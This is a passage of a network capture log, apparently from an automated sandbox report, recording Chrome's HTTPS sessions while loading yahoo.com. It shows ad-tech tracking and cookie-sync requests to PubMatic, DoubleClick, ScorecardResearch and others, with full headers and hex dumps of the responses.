2024-01-10 23:27:19 UTC	1111	OUT	GET /sync/pubmatic/AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:19 UTC	550	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.4	50182	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	758	OUT	GET /pixel?google_nid=casale_media2_dbm&google_cm&google_sc&google_hm=ZZ8n1IPpYMLwQL-F1CLawgAA HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:19 UTC	679	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://dsum-sec.casalemedia.com/crum?cm_dsp_id=45&external_user_id=CAESEC-n6KJ8gvOU0fU3xp0t3Rk&google_cver=1 Date: Wed, 10 Jan 2024 23:27:19 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 314 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:19 UTC	314	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 63 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 34 35 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 43 41 45 53 45 43 2d 6e 36 4b 4a 38 67 76 4f Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://dsum-sec.casalemedia.com/crum?cm_dsp_id=45&external_user_id=CAESEC-n6KJ8gvO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.4	50159	18.165.83.63	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	645	OUT	GET /p2?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1704929233964 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=16Db496f6ca59f87c3dafa11704929235
2024-01-10 23:27:19 UTC	363	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Wed, 10 Jan 2024 23:27:19 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 0c482288431692a08571c47359ca2c80.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P3 X-Amz-Cf-Id: a3GIT38wbk5fnURbnLloKpM2U1X6ypyKl3qEjUMhmgih7lfEttCIJw==
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.4	50157	35.208.249.213	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	627	OUT	GET /ju/cs/eplist?tn=41b6e88a2b85b0e731ef8e73e5558712&dm=https%253A%252F%252Fcdn.mediago.io&mcb=mmgg_1704929238126_388 HTTP/1.1 Host: gtrace.mediago.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cdn.mediago.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:19 UTC	632	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: https%3A%2F%2Fcdn.mediago.io Content-Length: 153 Content-Type: application/javascript; charset=utf-8 Set-Cookie: __mguid_=22210ca7d904fe7322qnsv00lr8eukx3; Path=/; Domain=mediago.io; Max-Age=31536000; Secure; SameSite=None Set-Cookie: cst_70=ts=1704929239; Path=/; Max-Age=31536000; HttpOnly; Secure; SameSite=None Date: Wed, 10 Jan 2024 23:27:19 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:19 UTC	153	IN	Data Raw: 6d 6d 67 67 5f 31 37 30 34 39 32 39 32 33 38 31 32 36 5f 33 38 38 28 7b 22 64 61 74 61 22 3a 7b 22 6c 69 73 74 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 62 61 69 64 75 5f 6d 65 64 69 61 67 6f 5c 75 30 30 32 36 67 6f 6f 67 6c 65 5f 68 6d 3d 32 32 32 31 30 63 61 37 64 39 30 34 66 65 37 33 32 32 71 6e 73 76 30 30 6c 72 38 65 75 6b 78 33 22 5d 7d 7d 29 Data Ascii: mmgg_1704929238126_388({"data":{"list":["https://cm.g.doubleclick.net/pixel?google_nid=baidu_mediago\u0026google_hm=22210ca7d904fe7322qnsv00lr8eukx3"]}})

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.4	50152	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1437	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:19 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 12:36:20 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.4	50167	8.28.7.84	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1199	OUT	GET /AdServer/SPug?partnerID=156078&xid=y-QoGBxapE2uVcxYncQGfqtzmJ2fkSj78-~A&gdpr=0 HTTP/1.1 Host: image4.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:19 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:19 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1704929239; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:19 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.4	50169	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1255	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=bd6a219c-2538-477b-90ee-6d20c7860c4b&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:19 UTC	744	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:19 GMT; path=/ Set-Cookie: PugT=1704929239; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:19 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.4	50197	8.28.7.81	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1443	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=97973536&p=156078&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:19 UTC	1014	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=2; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=156078:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1706054400%3A259_201_263_262_261_260%7C1704931200%3A248%7C1705449600%3A265; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1706054400%3A250_5_234_233_178_238_166_220_3_240_7_214_243_104_71_165_13_55_231_8_46_56_54_21_96%7C1705708800%3A63%7C1705449600%3A15_2_223%7C1707436800%3A224; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Wed, 10 Jan 2024 23:27:19 GMT Transfer-Encoding: chunked Connection: close
2024-01-10 23:27:19 UTC	3665	IN	Data Raw: 65 34 35 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 76 78 69 69 5f 70 69 64 3d 31 30 30 36 37 26 76 78 69 69 5f 70 64 69 64 3d 41 46 31 41 33 30 42 30 2d 32 34 42 38 2d 34 37 36 45 2d 41 45 44 34 2d 42 45 38 44 43 41 46 41 34 31 43 34 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 34 30 32 34 35 31 39 33 26 76 61 6c 3d 41 46 31 41 33 30 42 30 2d 32 34 42 38 2d 34 37 36 45 2d 41 45 44 34 2d 42 45 38 44 43 41 Data Ascii: e45PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.4	50162	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	4116	OUT	GET /gampad/ads?pvsid=3448363400861391&correlator=2735517657550639&eid=31080125%2C31080256%2C95320408%2C31079784%2C31080127%2C31079527%2C31061691%2C31061692%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202401030101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&iu_parts=22888152279%2Cus%2Cyhp%2Cmain%2Cdt%2Cus_yhp_main_dt_top_right%2Cus_yhp_main_dt_as_mid_right_a%2Cus_yhp_main_dt_top_center%2Cus_yhp_main_dt_as_mid_right_b%2Cus_yhp_main_dt_as_mid_right_c&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8%2C%2F0%2F1%2F2%2F3%2F4%2F9&prev_iu_szs=300x250%7C300x600%2C300x250%2C970x250%7C3x1%7C728x90%2C300x250%2C300x600%7C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1%2C1&eri=4&sc=1&cookie_enabled=1&abxe=1&dt=1704929234966&adxs=951%2C-9%2C147%2C-9%2C951&adys=1012%2C-9%2C129%2C-9%2C1787&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1%7C-1%7C0%7C-1%7C2&ucis=1%7C2%7C3%7C4%7C5&oid=2&tos=~~~~&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fwww.yahoo.com%2F&rumc=3448363400861391&rume=1&vis=1&psz=292x2513%7C0x-1%7C1280x110%7C0x-1%7C300x600&msz=292x600%7C0x-1%7C1280x110%7C0x-1%7C300x0&fws=4%2C2%2C2052%2C2%2C4&ohw=1263%2C0%2C1263%2C0%2C300&ga_vid=1527460430.1704929235&ga_sid=1704929235&ga_hid=1141609210&ga_fc=false&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFsyLFtbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF90b3BfcmlnaHQiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYSIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X3RvcF9jZW50ZXIiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYiIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X2FzX21pZF9yaWdodF9jIixbXV1dXV0.&dlt=1704929227924&idt=5442&prev_scp=loc%3Dtop_right%26y_pgid%3D1%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_a%26noads%3D1%26y_pgid%3D2%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dtop_center%26y_pgid%3D3%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_b%26noads%3D1%26y_pgid%3D4%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_c%26y_pgid%3D5%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_plcmt%3D533126705%26y_crid%3D533126705%26y_bdp%3D0.07%26y_sz%3D300x600%26y_act%3DheaderBid%26y_bid%3D-3%26y_fp%3Djhjd%26y_ufr%3D1%26y_dp%3D0%26y_dt%3DO%26y_ref%3D0&cust_params=bucket%3Ddrop_heimdall_homepage_control_bucket%252CMimicProviderListv2-copy%252Cseamless%26cobrand%3Dnone%26colo%3Dbf1%26device%3Ddesktop%26lang%3Den-US%26lu%3D0%26region%3DUS%26site%3Dfp%26ver%3Dmegastrm%26pt%3Dhome%26spaceid%